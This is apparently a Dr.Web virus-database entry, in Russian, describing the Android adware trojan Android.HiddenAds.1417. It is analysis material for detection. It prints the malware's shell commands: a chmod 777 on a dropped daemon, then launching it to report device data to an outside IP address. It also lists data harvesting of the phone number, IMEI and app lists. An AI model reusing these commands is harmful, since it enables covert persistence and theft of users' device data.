Android.HiddenAds.1417

Добавлен в вирусную базу Dr.Web: 2019-05-14

Описание добавлено: 2019-05-15

Вредоносные функции:

Выполняет код следующих детектируемых угроз:

Сетевая активность:

Подключается к:

UDP(DNS) <Google DNS>
TCP(HTTP/1.1) t####.me####.com:80
TCP(HTTP/1.1) trac####.v.tf.####.cn:80
TCP(HTTP/1.1) s####.m.me####.com:80
TCP(HTTP/1.1) m####.me####.com:80
TCP(HTTP/1.1) p0.q####.com:80
TCP(TLS/1.0) 1####.217.168.206:443
TCP(TLS/1.0) and####.cli####.go####.com:443

Запросы DNS:

Запросы HTTP GET:

Запросы HTTP POST:

Изменения в файловой системе:

Создает следующие файлы:

Другие:

Запускает следующие shell-скрипты:

<Package Folder>/files/daemon -p <Package> -r am startservice --user 0 -n <Package>/com.srgws.util.Jsema -e key daemon -h http://52.11.99.233:7123/report/allData -m -i 2543
chmod 777 <Package Folder>/files/daemon
sh <Package Folder>/files/daemon -p <Package> -r am startservice --user 0 -n <Package>/com.srgws.util.Jsema -e key daemon -h http://52.11.99.233:7123/report/allData -m -i 2543

Загружает динамические библиотеки:

Использует следующие алгоритмы для шифрования данных:

Использует следующие алгоритмы для расшифровки данных:

Использует специальную библиотеку для скрытия исполняемого байт-кода.

Получает информацию о сети.

Получает информацию о телефоне (номер, IMEI и т. д.).

Получает информацию об установленных приложениях.

Получает информацию о запущенных приложениях.

Добавляет задания в системный планировщик.

Отрисовывает собственные окна поверх других приложений.